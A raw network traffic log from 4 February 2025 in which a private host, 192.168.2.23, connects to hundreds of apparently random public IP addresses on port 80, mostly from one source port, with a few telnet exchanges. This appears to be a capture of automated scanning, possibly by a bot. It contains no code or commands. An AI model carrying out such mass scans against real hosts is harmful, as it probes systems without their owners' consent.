Feb 4, 2025 18:17:40.436002970 CET	57070	80	192.168.2.23	94.178.7.124
Feb 4, 2025 18:17:40.436003923 CET	56986	80	192.168.2.23	136.188.194.235
Feb 4, 2025 18:17:40.436003923 CET	55548	80	192.168.2.23	58.99.147.68
Feb 4, 2025 18:17:40.436007023 CET	60040	80	192.168.2.23	147.98.12.164
Feb 4, 2025 18:17:40.436007977 CET	56062	80	192.168.2.23	198.163.207.89
Feb 4, 2025 18:17:40.436007023 CET	34704	80	192.168.2.23	193.13.129.58
Feb 4, 2025 18:17:40.436007023 CET	59612	80	192.168.2.23	171.71.7.148
Feb 4, 2025 18:17:40.436016083 CET	58350	80	192.168.2.23	89.108.204.66
Feb 4, 2025 18:17:40.436019897 CET	52018	80	192.168.2.23	150.99.29.150
Feb 4, 2025 18:17:40.436019897 CET	53328	80	192.168.2.23	219.121.98.155
Feb 4, 2025 18:17:40.436023951 CET	52884	80	192.168.2.23	45.116.24.205
Feb 4, 2025 18:17:40.436023951 CET	45106	80	192.168.2.23	159.221.50.75
Feb 4, 2025 18:17:40.436027050 CET	55996	80	192.168.2.23	113.182.15.118
Feb 4, 2025 18:17:40.436042070 CET	54016	80	192.168.2.23	122.100.83.75
Feb 4, 2025 18:17:40.436042070 CET	35844	80	192.168.2.23	13.204.77.15
Feb 4, 2025 18:17:40.436042070 CET	54996	80	192.168.2.23	51.162.183.148
Feb 4, 2025 18:17:40.436043978 CET	60450	80	192.168.2.23	142.68.166.120
Feb 4, 2025 18:17:40.436043978 CET	56656	80	192.168.2.23	151.36.31.25
Feb 4, 2025 18:17:40.436043978 CET	35264	80	192.168.2.23	135.161.83.136
Feb 4, 2025 18:17:40.436043978 CET	57236	80	192.168.2.23	123.116.228.208
Feb 4, 2025 18:17:40.436043978 CET	42120	80	192.168.2.23	114.76.43.45
Feb 4, 2025 18:17:40.436043978 CET	34486	80	192.168.2.23	100.31.120.116
Feb 4, 2025 18:17:40.436058998 CET	60970	80	192.168.2.23	2.58.140.16
Feb 4, 2025 18:17:40.436062098 CET	54346	80	192.168.2.23	41.69.192.184
Feb 4, 2025 18:17:40.436062098 CET	39288	80	192.168.2.23	14.89.254.39
Feb 4, 2025 18:17:40.436069012 CET	55754	80	192.168.2.23	177.29.95.193
Feb 4, 2025 18:17:40.436069012 CET	54350	80	192.168.2.23	124.113.46.235
Feb 4, 2025 18:17:40.436069012 CET	41226	80	192.168.2.23	195.46.37.156
Feb 4, 2025 18:17:40.436069012 CET	38462	80	192.168.2.23	101.175.147.158
Feb 4, 2025 18:17:40.436073065 CET	53738	80	192.168.2.23	203.148.113.237
Feb 4, 2025 18:17:40.436079979 CET	52468	80	192.168.2.23	93.165.233.64
Feb 4, 2025 18:17:40.436084986 CET	32908	80	192.168.2.23	57.220.251.236
Feb 4, 2025 18:17:40.436085939 CET	47352	80	192.168.2.23	197.121.158.198
Feb 4, 2025 18:17:40.436085939 CET	43372	80	192.168.2.23	83.34.6.141
Feb 4, 2025 18:17:40.436090946 CET	57440	80	192.168.2.23	129.90.80.128
Feb 4, 2025 18:17:40.436093092 CET	36934	80	192.168.2.23	217.197.194.133
Feb 4, 2025 18:17:40.436100006 CET	40516	80	192.168.2.23	86.218.127.37
Feb 4, 2025 18:17:40.436108112 CET	46396	80	192.168.2.23	46.70.14.92
Feb 4, 2025 18:17:40.436108112 CET	49532	80	192.168.2.23	4.105.4.130
Feb 4, 2025 18:17:40.436108112 CET	51368	80	192.168.2.23	219.125.195.43
Feb 4, 2025 18:17:40.437242031 CET	23	55560	97.254.3.21	192.168.2.23
Feb 4, 2025 18:17:40.437256098 CET	23	59024	83.243.144.217	192.168.2.23
Feb 4, 2025 18:17:40.437313080 CET	55560	23	192.168.2.23	97.254.3.21
Feb 4, 2025 18:17:40.437372923 CET	59024	23	192.168.2.23	83.243.144.217
Feb 4, 2025 18:17:40.450985909 CET	46308	80	192.168.2.23	196.221.48.4
Feb 4, 2025 18:17:40.450992107 CET	46308	80	192.168.2.23	156.253.22.29
Feb 4, 2025 18:17:40.450994015 CET	46308	80	192.168.2.23	181.122.189.32
Feb 4, 2025 18:17:40.450994968 CET	46308	80	192.168.2.23	208.150.76.79
Feb 4, 2025 18:17:40.450999975 CET	46308	80	192.168.2.23	79.160.165.215
Feb 4, 2025 18:17:40.451000929 CET	46308	80	192.168.2.23	209.28.103.115
Feb 4, 2025 18:17:40.451004028 CET	46308	80	192.168.2.23	205.23.60.153
Feb 4, 2025 18:17:40.451004028 CET	46308	80	192.168.2.23	179.116.215.250
Feb 4, 2025 18:17:40.451008081 CET	46308	80	192.168.2.23	207.67.157.67
Feb 4, 2025 18:17:40.451008081 CET	46308	80	192.168.2.23	120.51.200.25
Feb 4, 2025 18:17:40.451011896 CET	46308	80	192.168.2.23	198.168.240.2
Feb 4, 2025 18:17:40.451020956 CET	46308	80	192.168.2.23	137.79.115.252
Feb 4, 2025 18:17:40.451024055 CET	46308	80	192.168.2.23	194.242.65.223
Feb 4, 2025 18:17:40.451033115 CET	46308	80	192.168.2.23	86.217.200.247
Feb 4, 2025 18:17:40.451034069 CET	46308	80	192.168.2.23	116.148.135.129
Feb 4, 2025 18:17:40.451034069 CET	46308	80	192.168.2.23	185.163.14.231
Feb 4, 2025 18:17:40.451052904 CET	46308	80	192.168.2.23	140.252.179.63
Feb 4, 2025 18:17:40.451055050 CET	46308	80	192.168.2.23	180.228.32.239
Feb 4, 2025 18:17:40.451056957 CET	46308	80	192.168.2.23	61.109.180.241
Feb 4, 2025 18:17:40.451066017 CET	46308	80	192.168.2.23	18.103.230.91
Feb 4, 2025 18:17:40.451071978 CET	46308	80	192.168.2.23	52.210.13.126
Feb 4, 2025 18:17:40.451072931 CET	46308	80	192.168.2.23	161.153.248.64
Feb 4, 2025 18:17:40.451085091 CET	46308	80	192.168.2.23	217.111.78.153
Feb 4, 2025 18:17:40.451085091 CET	46308	80	192.168.2.23	139.40.179.95
Feb 4, 2025 18:17:40.451085091 CET	46308	80	192.168.2.23	77.234.162.48
Feb 4, 2025 18:17:40.451085091 CET	46308	80	192.168.2.23	25.248.147.5
Feb 4, 2025 18:17:40.451085091 CET	46308	80	192.168.2.23	112.157.246.196
Feb 4, 2025 18:17:40.451097012 CET	46308	80	192.168.2.23	113.82.134.122
Feb 4, 2025 18:17:40.451097012 CET	46308	80	192.168.2.23	111.102.240.222
Feb 4, 2025 18:17:40.451098919 CET	46308	80	192.168.2.23	169.245.41.223
Feb 4, 2025 18:17:40.451098919 CET	46308	80	192.168.2.23	104.191.209.149
Feb 4, 2025 18:17:40.451111078 CET	46308	80	192.168.2.23	211.186.141.62
Feb 4, 2025 18:17:40.451113939 CET	46308	80	192.168.2.23	85.105.73.55
Feb 4, 2025 18:17:40.451117992 CET	46308	80	192.168.2.23	213.96.160.252
Feb 4, 2025 18:17:40.451128006 CET	46308	80	192.168.2.23	14.74.27.165
Feb 4, 2025 18:17:40.451133966 CET	46308	80	192.168.2.23	142.162.49.58
Feb 4, 2025 18:17:40.451152086 CET	46308	80	192.168.2.23	66.114.32.73
Feb 4, 2025 18:17:40.451153994 CET	46308	80	192.168.2.23	139.249.96.192
Feb 4, 2025 18:17:40.451153994 CET	46308	80	192.168.2.23	85.225.102.94
Feb 4, 2025 18:17:40.451153994 CET	46308	80	192.168.2.23	63.56.110.124
Feb 4, 2025 18:17:40.451172113 CET	46308	80	192.168.2.23	53.163.36.178
Feb 4, 2025 18:17:40.451178074 CET	46308	80	192.168.2.23	37.165.125.0
Feb 4, 2025 18:17:40.451174021 CET	46308	80	192.168.2.23	113.125.96.149
Feb 4, 2025 18:17:40.451172113 CET	46308	80	192.168.2.23	166.35.129.240
Feb 4, 2025 18:17:40.451174974 CET	46308	80	192.168.2.23	27.230.88.9
Feb 4, 2025 18:17:40.451173067 CET	46308	80	192.168.2.23	110.235.244.252
Feb 4, 2025 18:17:40.451174974 CET	46308	80	192.168.2.23	54.15.227.172
Feb 4, 2025 18:17:40.451172113 CET	46308	80	192.168.2.23	108.79.76.202
Feb 4, 2025 18:17:40.451179981 CET	46308	80	192.168.2.23	45.194.35.82
Feb 4, 2025 18:17:40.451179981 CET	46308	80	192.168.2.23	75.1.90.103
Feb 4, 2025 18:17:40.451179981 CET	46308	80	192.168.2.23	154.62.149.169
Feb 4, 2025 18:17:40.451179981 CET	46308	80	192.168.2.23	87.93.73.68
Feb 4, 2025 18:17:40.451179981 CET	46308	80	192.168.2.23	125.236.107.112
Feb 4, 2025 18:17:40.451179981 CET	46308	80	192.168.2.23	2.30.150.181
Feb 4, 2025 18:17:40.451189041 CET	46308	80	192.168.2.23	70.184.140.249
Feb 4, 2025 18:17:40.451189041 CET	46308	80	192.168.2.23	75.85.203.198
Feb 4, 2025 18:17:40.451195955 CET	46308	80	192.168.2.23	63.189.106.49
Feb 4, 2025 18:17:40.451196909 CET	46308	80	192.168.2.23	25.210.177.222
Feb 4, 2025 18:17:40.451205015 CET	46308	80	192.168.2.23	17.235.243.95
Feb 4, 2025 18:17:40.451206923 CET	46308	80	192.168.2.23	122.205.184.3
Feb 4, 2025 18:17:40.451210022 CET	46308	80	192.168.2.23	71.251.253.134
Feb 4, 2025 18:17:40.451215029 CET	46308	80	192.168.2.23	190.211.110.212
Feb 4, 2025 18:17:40.451216936 CET	46308	80	192.168.2.23	141.96.204.253
Feb 4, 2025 18:17:40.451220989 CET	46308	80	192.168.2.23	77.112.35.57
Feb 4, 2025 18:17:40.451229095 CET	46308	80	192.168.2.23	204.180.162.227
Feb 4, 2025 18:17:40.451230049 CET	46308	80	192.168.2.23	63.134.46.115
Feb 4, 2025 18:17:40.451230049 CET	46308	80	192.168.2.23	220.66.113.229
Feb 4, 2025 18:17:40.451234102 CET	46308	80	192.168.2.23	140.166.141.46
Feb 4, 2025 18:17:40.451234102 CET	46308	80	192.168.2.23	25.37.151.107
Feb 4, 2025 18:17:40.451241016 CET	46308	80	192.168.2.23	14.113.109.2
Feb 4, 2025 18:17:40.451246977 CET	46308	80	192.168.2.23	125.41.167.147
Feb 4, 2025 18:17:40.451246977 CET	46308	80	192.168.2.23	2.204.49.81
Feb 4, 2025 18:17:40.451252937 CET	46308	80	192.168.2.23	188.213.1.245
Feb 4, 2025 18:17:40.451267004 CET	46308	80	192.168.2.23	175.158.84.228
Feb 4, 2025 18:17:40.451267958 CET	46308	80	192.168.2.23	75.12.220.61
Feb 4, 2025 18:17:40.451267958 CET	46308	80	192.168.2.23	177.90.24.196
Feb 4, 2025 18:17:40.451268911 CET	46308	80	192.168.2.23	59.111.198.242
Feb 4, 2025 18:17:40.451271057 CET	46308	80	192.168.2.23	96.37.105.95
Feb 4, 2025 18:17:40.451276064 CET	46308	80	192.168.2.23	203.10.30.213
Feb 4, 2025 18:17:40.451276064 CET	46308	80	192.168.2.23	148.92.221.146
Feb 4, 2025 18:17:40.451282978 CET	46308	80	192.168.2.23	92.44.39.185
Feb 4, 2025 18:17:40.451286077 CET	46308	80	192.168.2.23	19.187.12.190
Feb 4, 2025 18:17:40.451289892 CET	46308	80	192.168.2.23	180.7.225.128
Feb 4, 2025 18:17:40.451289892 CET	46308	80	192.168.2.23	1.250.155.200
Feb 4, 2025 18:17:40.451292992 CET	46308	80	192.168.2.23	63.14.100.243
Feb 4, 2025 18:17:40.451312065 CET	46308	80	192.168.2.23	108.133.128.100
Feb 4, 2025 18:17:40.451316118 CET	46308	80	192.168.2.23	81.168.167.128
Feb 4, 2025 18:17:40.451316118 CET	46308	80	192.168.2.23	195.95.164.107
Feb 4, 2025 18:17:40.451332092 CET	46308	80	192.168.2.23	169.20.201.112
Feb 4, 2025 18:17:40.451334000 CET	46308	80	192.168.2.23	203.84.164.241
Feb 4, 2025 18:17:40.451334000 CET	46308	80	192.168.2.23	218.162.234.139
Feb 4, 2025 18:17:40.451334000 CET	46308	80	192.168.2.23	67.24.232.243
Feb 4, 2025 18:17:40.451335907 CET	46308	80	192.168.2.23	156.171.46.165
Feb 4, 2025 18:17:40.451335907 CET	46308	80	192.168.2.23	164.52.26.123
Feb 4, 2025 18:17:40.451335907 CET	46308	80	192.168.2.23	97.123.243.164
Feb 4, 2025 18:17:40.451335907 CET	46308	80	192.168.2.23	92.142.36.101
Feb 4, 2025 18:17:40.451338053 CET	46308	80	192.168.2.23	195.204.206.154
Feb 4, 2025 18:17:40.451335907 CET	46308	80	192.168.2.23	147.63.216.170
Feb 4, 2025 18:17:40.451338053 CET	46308	80	192.168.2.23	183.151.19.146
Feb 4, 2025 18:17:40.451335907 CET	46308	80	192.168.2.23	108.194.246.162
Feb 4, 2025 18:17:40.451342106 CET	46308	80	192.168.2.23	37.28.16.92
Feb 4, 2025 18:17:40.451339006 CET	46308	80	192.168.2.23	87.223.101.168
Feb 4, 2025 18:17:40.451343060 CET	46308	80	192.168.2.23	156.160.117.59
Feb 4, 2025 18:17:40.451351881 CET	46308	80	192.168.2.23	20.15.224.100
Feb 4, 2025 18:17:40.451354980 CET	46308	80	192.168.2.23	40.121.237.139
Feb 4, 2025 18:17:40.451354980 CET	46308	80	192.168.2.23	205.12.125.179
Feb 4, 2025 18:17:40.451354980 CET	46308	80	192.168.2.23	48.241.237.72
Feb 4, 2025 18:17:40.451360941 CET	46308	80	192.168.2.23	158.2.166.194
Feb 4, 2025 18:17:40.451364040 CET	46308	80	192.168.2.23	93.81.39.239
Feb 4, 2025 18:17:40.451364994 CET	46308	80	192.168.2.23	148.146.147.212
Feb 4, 2025 18:17:40.451366901 CET	46308	80	192.168.2.23	114.9.205.67
Feb 4, 2025 18:17:40.451366901 CET	46308	80	192.168.2.23	72.23.50.115
Feb 4, 2025 18:17:40.451370001 CET	46308	80	192.168.2.23	88.214.45.241
Feb 4, 2025 18:17:40.451370001 CET	46308	80	192.168.2.23	99.61.165.207
Feb 4, 2025 18:17:40.451380014 CET	46308	80	192.168.2.23	148.165.19.116
Feb 4, 2025 18:17:40.451380014 CET	46308	80	192.168.2.23	117.191.1.124
Feb 4, 2025 18:17:40.451386929 CET	46308	80	192.168.2.23	8.151.249.242
Feb 4, 2025 18:17:40.451386929 CET	46308	80	192.168.2.23	170.44.128.159
Feb 4, 2025 18:17:40.451387882 CET	46308	80	192.168.2.23	222.24.103.195
Feb 4, 2025 18:17:40.451387882 CET	46308	80	192.168.2.23	136.55.27.43
Feb 4, 2025 18:17:40.451387882 CET	46308	80	192.168.2.23	101.217.234.155
Feb 4, 2025 18:17:40.451395988 CET	46308	80	192.168.2.23	126.185.104.89
Feb 4, 2025 18:17:40.451395988 CET	46308	80	192.168.2.23	46.125.190.29
Feb 4, 2025 18:17:40.451396942 CET	46308	80	192.168.2.23	205.249.91.112
Feb 4, 2025 18:17:40.451396942 CET	46308	80	192.168.2.23	95.203.38.55
Feb 4, 2025 18:17:40.451399088 CET	46308	80	192.168.2.23	99.132.89.115
Feb 4, 2025 18:17:40.451399088 CET	46308	80	192.168.2.23	32.176.62.191
Feb 4, 2025 18:17:40.451402903 CET	46308	80	192.168.2.23	158.30.112.62
Feb 4, 2025 18:17:40.451402903 CET	46308	80	192.168.2.23	68.208.251.93
Feb 4, 2025 18:17:40.451402903 CET	46308	80	192.168.2.23	140.147.180.191
Feb 4, 2025 18:17:40.451402903 CET	46308	80	192.168.2.23	163.115.1.76
Feb 4, 2025 18:17:40.451407909 CET	46308	80	192.168.2.23	42.50.238.128
Feb 4, 2025 18:17:40.451416016 CET	46308	80	192.168.2.23	23.2.100.175
Feb 4, 2025 18:17:40.451416969 CET	46308	80	192.168.2.23	9.161.107.50
Feb 4, 2025 18:17:40.451416969 CET	46308	80	192.168.2.23	115.117.255.239
Feb 4, 2025 18:17:40.451416969 CET	46308	80	192.168.2.23	25.227.224.97
Feb 4, 2025 18:17:40.451416969 CET	46308	80	192.168.2.23	36.221.253.245
Feb 4, 2025 18:17:40.451416969 CET	46308	80	192.168.2.23	144.12.83.165
Feb 4, 2025 18:17:40.451416969 CET	46308	80	192.168.2.23	151.251.181.231
Feb 4, 2025 18:17:40.451419115 CET	46308	80	192.168.2.23	68.235.144.95
Feb 4, 2025 18:17:40.451419115 CET	46308	80	192.168.2.23	141.125.106.98
Feb 4, 2025 18:17:40.451426029 CET	46308	80	192.168.2.23	44.70.122.120
Feb 4, 2025 18:17:40.451426029 CET	46308	80	192.168.2.23	130.220.229.223
Feb 4, 2025 18:17:40.451426029 CET	46308	80	192.168.2.23	131.155.2.209
Feb 4, 2025 18:17:40.451428890 CET	46308	80	192.168.2.23	17.150.125.16
Feb 4, 2025 18:17:40.451428890 CET	46308	80	192.168.2.23	216.156.140.233
Feb 4, 2025 18:17:40.451428890 CET	46308	80	192.168.2.23	159.137.145.116
Feb 4, 2025 18:17:40.451428890 CET	46308	80	192.168.2.23	153.222.224.239
Feb 4, 2025 18:17:40.451431036 CET	46308	80	192.168.2.23	145.218.32.175
Feb 4, 2025 18:17:40.451436043 CET	46308	80	192.168.2.23	182.108.159.27
Feb 4, 2025 18:17:40.451436043 CET	46308	80	192.168.2.23	48.166.147.101
Feb 4, 2025 18:17:40.451436043 CET	46308	80	192.168.2.23	204.125.162.97
Feb 4, 2025 18:17:40.451436043 CET	46308	80	192.168.2.23	169.142.208.125
Feb 4, 2025 18:17:40.451447010 CET	46308	80	192.168.2.23	44.236.202.90
Feb 4, 2025 18:17:40.451450109 CET	46308	80	192.168.2.23	177.197.28.229
Feb 4, 2025 18:17:40.451452017 CET	46308	80	192.168.2.23	79.203.109.54
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	125.36.129.148
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	19.174.219.216
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	8.168.220.13
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	162.231.128.124
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	71.224.238.112
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	50.125.38.175
Feb 4, 2025 18:17:40.451453924 CET	46308	80	192.168.2.23	136.78.184.53
Feb 4, 2025 18:17:40.451467991 CET	46308	80	192.168.2.23	105.222.10.59
Feb 4, 2025 18:17:40.451468945 CET	46308	80	192.168.2.23	209.169.175.81
Feb 4, 2025 18:17:40.451469898 CET	46308	80	192.168.2.23	162.218.171.1
Feb 4, 2025 18:17:40.451468945 CET	46308	80	192.168.2.23	181.69.74.249
Feb 4, 2025 18:17:40.451468945 CET	46308	80	192.168.2.23	64.137.174.164
Feb 4, 2025 18:17:40.451468945 CET	46308	80	192.168.2.23	95.177.88.228
Feb 4, 2025 18:17:40.451473951 CET	46308	80	192.168.2.23	94.135.236.8
Feb 4, 2025 18:17:40.451473951 CET	46308	80	192.168.2.23	135.70.139.126
Feb 4, 2025 18:17:40.451473951 CET	46308	80	192.168.2.23	171.26.63.241
Feb 4, 2025 18:17:40.451473951 CET	46308	80	192.168.2.23	191.38.61.195
Feb 4, 2025 18:17:40.451473951 CET	46308	80	192.168.2.23	128.248.117.74
Feb 4, 2025 18:17:40.451483011 CET	46308	80	192.168.2.23	182.81.190.223
Feb 4, 2025 18:17:40.451483011 CET	46308	80	192.168.2.23	178.100.70.241
Feb 4, 2025 18:17:40.451488972 CET	46308	80	192.168.2.23	153.22.57.24
Feb 4, 2025 18:17:40.451489925 CET	46308	80	192.168.2.23	2.251.39.176
Feb 4, 2025 18:17:40.451492071 CET	46308	80	192.168.2.23	216.147.234.140
Feb 4, 2025 18:17:40.451504946 CET	46308	80	192.168.2.23	27.148.86.225
Feb 4, 2025 18:17:40.451504946 CET	46308	80	192.168.2.23	194.248.104.129
Feb 4, 2025 18:17:40.451504946 CET	46308	80	192.168.2.23	212.17.147.150
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	126.245.167.71
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	50.61.119.182
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	101.219.141.15
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	194.228.58.99
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	46.209.167.254
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	114.81.68.138
Feb 4, 2025 18:17:40.451512098 CET	46308	80	192.168.2.23	189.224.119.6
Feb 4, 2025 18:17:40.451507092 CET	46308	80	192.168.2.23	85.156.170.187
Feb 4, 2025 18:17:40.451515913 CET	46308	80	192.168.2.23	79.39.193.227
Feb 4, 2025 18:17:40.451515913 CET	46308	80	192.168.2.23	110.244.245.189
Feb 4, 2025 18:17:40.451518059 CET	46308	80	192.168.2.23	188.153.184.218
Feb 4, 2025 18:17:40.451524019 CET	46308	80	192.168.2.23	161.207.253.103
Feb 4, 2025 18:17:40.451527119 CET	46308	80	192.168.2.23	98.34.122.241
Feb 4, 2025 18:17:40.451527119 CET	46308	80	192.168.2.23	74.207.234.104
Feb 4, 2025 18:17:40.451527119 CET	46308	80	192.168.2.23	47.97.63.157
Feb 4, 2025 18:17:40.451527119 CET	46308	80	192.168.2.23	31.167.49.67
Feb 4, 2025 18:17:40.451531887 CET	46308	80	192.168.2.23	130.186.20.171
Feb 4, 2025 18:17:40.451534986 CET	46308	80	192.168.2.23	19.86.134.211
Feb 4, 2025 18:17:40.451535940 CET	46308	80	192.168.2.23	61.109.30.188
Feb 4, 2025 18:17:40.451541901 CET	46308	80	192.168.2.23	121.159.245.91
Feb 4, 2025 18:17:40.451541901 CET	46308	80	192.168.2.23	43.220.147.118
Feb 4, 2025 18:17:40.451548100 CET	46308	80	192.168.2.23	162.244.235.226
Feb 4, 2025 18:17:40.451548100 CET	46308	80	192.168.2.23	64.100.24.22
Feb 4, 2025 18:17:40.451556921 CET	46308	80	192.168.2.23	126.182.170.9
Feb 4, 2025 18:17:40.451560020 CET	46308	80	192.168.2.23	53.87.172.44
Feb 4, 2025 18:17:40.451560020 CET	46308	80	192.168.2.23	165.8.114.248
Feb 4, 2025 18:17:40.451562881 CET	46308	80	192.168.2.23	124.144.170.83
Feb 4, 2025 18:17:40.451562881 CET	46308	80	192.168.2.23	176.199.11.188
Feb 4, 2025 18:17:40.451562881 CET	46308	80	192.168.2.23	182.4.197.255
Feb 4, 2025 18:17:40.451574087 CET	46308	80	192.168.2.23	176.34.69.173
Feb 4, 2025 18:17:40.451575994 CET	46308	80	192.168.2.23	44.10.167.33
Feb 4, 2025 18:17:40.451577902 CET	46308	80	192.168.2.23	169.154.161.62
Feb 4, 2025 18:17:40.451581001 CET	46308	80	192.168.2.23	81.118.202.193
Feb 4, 2025 18:17:40.451597929 CET	46308	80	192.168.2.23	184.51.85.14
Feb 4, 2025 18:17:40.451597929 CET	46308	80	192.168.2.23	134.6.93.99
Feb 4, 2025 18:17:40.451600075 CET	46308	80	192.168.2.23	179.237.26.81
Feb 4, 2025 18:17:40.451600075 CET	46308	80	192.168.2.23	193.141.144.61
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	63.167.116.126
Feb 4, 2025 18:17:40.451600075 CET	46308	80	192.168.2.23	161.35.192.225
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	143.143.2.1
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	157.50.84.194
Feb 4, 2025 18:17:40.451600075 CET	46308	80	192.168.2.23	124.160.153.167
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	140.214.166.185
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	206.181.127.49
Feb 4, 2025 18:17:40.451601982 CET	46308	80	192.168.2.23	47.191.163.203
Feb 4, 2025 18:17:40.451601982 CET	46308	80	192.168.2.23	107.13.166.153
Feb 4, 2025 18:17:40.451605082 CET	46308	80	192.168.2.23	169.127.109.129
Feb 4, 2025 18:17:40.451601982 CET	46308	80	192.168.2.23	171.106.149.162
Feb 4, 2025 18:17:40.451605082 CET	46308	80	192.168.2.23	134.84.157.208
Feb 4, 2025 18:17:40.451605082 CET	46308	80	192.168.2.23	159.243.242.35
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	68.61.9.71
Feb 4, 2025 18:17:40.451601028 CET	46308	80	192.168.2.23	49.12.191.133
Feb 4, 2025 18:17:40.451610088 CET	46308	80	192.168.2.23	67.85.169.40
Feb 4, 2025 18:17:40.451610088 CET	46308	80	192.168.2.23	54.29.97.165
Feb 4, 2025 18:17:40.451611042 CET	46308	80	192.168.2.23	216.59.214.192
Feb 4, 2025 18:17:40.451612949 CET	46308	80	192.168.2.23	222.206.92.48
Feb 4, 2025 18:17:40.451613903 CET	46308	80	192.168.2.23	174.41.112.197
Feb 4, 2025 18:17:40.451618910 CET	46308	80	192.168.2.23	100.159.117.41
Feb 4, 2025 18:17:40.451618910 CET	46308	80	192.168.2.23	97.33.159.151
Feb 4, 2025 18:17:40.451618910 CET	46308	80	192.168.2.23	68.238.87.84
Feb 4, 2025 18:17:40.451625109 CET	46308	80	192.168.2.23	142.135.82.61
Feb 4, 2025 18:17:40.451632023 CET	46308	80	192.168.2.23	128.195.142.255
Feb 4, 2025 18:17:40.451632023 CET	46308	80	192.168.2.23	67.184.86.99
Feb 4, 2025 18:17:40.451634884 CET	46308	80	192.168.2.23	51.233.189.11
Feb 4, 2025 18:17:40.451653957 CET	46308	80	192.168.2.23	60.173.83.159
Feb 4, 2025 18:17:40.451653957 CET	46308	80	192.168.2.23	5.231.156.10
Feb 4, 2025 18:17:40.451661110 CET	46308	80	192.168.2.23	91.102.247.205
Feb 4, 2025 18:17:40.451661110 CET	46308	80	192.168.2.23	186.254.154.149
Feb 4, 2025 18:17:40.451663971 CET	46308	80	192.168.2.23	112.186.182.158
Feb 4, 2025 18:17:40.451672077 CET	46308	80	192.168.2.23	133.219.169.150
Feb 4, 2025 18:17:40.451672077 CET	46308	80	192.168.2.23	49.206.59.95
Feb 4, 2025 18:17:40.451672077 CET	46308	80	192.168.2.23	175.46.110.77
Feb 4, 2025 18:17:40.451672077 CET	46308	80	192.168.2.23	67.44.185.125
Feb 4, 2025 18:17:40.451683044 CET	46308	80	192.168.2.23	126.199.253.85
Feb 4, 2025 18:17:40.451685905 CET	46308	80	192.168.2.23	189.158.91.107
Feb 4, 2025 18:17:40.451685905 CET	46308	80	192.168.2.23	212.243.54.62
Feb 4, 2025 18:17:40.451685905 CET	46308	80	192.168.2.23	101.222.183.5
Feb 4, 2025 18:17:40.451685905 CET	46308	80	192.168.2.23	207.19.123.177
Feb 4, 2025 18:17:40.451694965 CET	46308	80	192.168.2.23	50.88.111.200
Feb 4, 2025 18:17:40.451703072 CET	46308	80	192.168.2.23	77.117.69.43
Feb 4, 2025 18:17:40.451703072 CET	46308	80	192.168.2.23	19.199.142.84
Feb 4, 2025 18:17:40.451704025 CET	46308	80	192.168.2.23	219.28.44.78
Feb 4, 2025 18:17:40.451710939 CET	46308	80	192.168.2.23	162.213.151.25
Feb 4, 2025 18:17:40.451719046 CET	46308	80	192.168.2.23	132.165.210.171
Feb 4, 2025 18:17:40.451719046 CET	46308	80	192.168.2.23	106.120.50.135
Feb 4, 2025 18:17:40.451721907 CET	46308	80	192.168.2.23	222.239.193.102
Feb 4, 2025 18:17:40.451724052 CET	46308	80	192.168.2.23	9.116.124.242
Feb 4, 2025 18:17:40.451723099 CET	46308	80	192.168.2.23	104.186.254.201
Feb 4, 2025 18:17:40.451725006 CET	46308	80	192.168.2.23	170.123.219.186
Feb 4, 2025 18:17:40.451723099 CET	46308	80	192.168.2.23	121.202.178.46
Feb 4, 2025 18:17:40.451728106 CET	46308	80	192.168.2.23	155.4.131.176
Feb 4, 2025 18:17:40.451731920 CET	46308	80	192.168.2.23	18.255.231.26
Feb 4, 2025 18:17:40.451735973 CET	46308	80	192.168.2.23	48.129.5.240
Feb 4, 2025 18:17:40.451746941 CET	46308	80	192.168.2.23	65.78.34.199
Feb 4, 2025 18:17:40.451747894 CET	46308	80	192.168.2.23	169.17.108.236
Feb 4, 2025 18:17:40.451751947 CET	46308	80	192.168.2.23	71.20.150.245
Feb 4, 2025 18:17:40.451749086 CET	46308	80	192.168.2.23	88.169.227.214
Feb 4, 2025 18:17:40.451749086 CET	46308	80	192.168.2.23	32.116.33.142
Feb 4, 2025 18:17:40.451761007 CET	46308	80	192.168.2.23	18.199.131.122
Feb 4, 2025 18:17:40.451761007 CET	46308	80	192.168.2.23	122.114.85.1
Feb 4, 2025 18:17:40.451761007 CET	46308	80	192.168.2.23	143.48.103.119
Feb 4, 2025 18:17:40.451761961 CET	46308	80	192.168.2.23	223.243.218.3
Feb 4, 2025 18:17:40.451765060 CET	46308	80	192.168.2.23	65.127.55.173
Feb 4, 2025 18:17:40.451765060 CET	46308	80	192.168.2.23	207.108.104.238
Feb 4, 2025 18:17:40.451766968 CET	46308	80	192.168.2.23	94.200.255.38
Feb 4, 2025 18:17:40.451766968 CET	46308	80	192.168.2.23	20.109.146.175
Feb 4, 2025 18:17:40.451769114 CET	46308	80	192.168.2.23	179.44.148.117
Feb 4, 2025 18:17:40.451770067 CET	46308	80	192.168.2.23	173.233.52.190
Feb 4, 2025 18:17:40.451773882 CET	46308	80	192.168.2.23	136.23.33.45
Feb 4, 2025 18:17:40.451775074 CET	46308	80	192.168.2.23	58.22.131.205
Feb 4, 2025 18:17:40.451792002 CET	46308	80	192.168.2.23	60.190.159.152
Feb 4, 2025 18:17:40.451795101 CET	46308	80	192.168.2.23	4.216.203.211
Feb 4, 2025 18:17:40.451795101 CET	46308	80	192.168.2.23	131.239.112.173
Feb 4, 2025 18:17:40.451807022 CET	46308	80	192.168.2.23	25.24.196.88
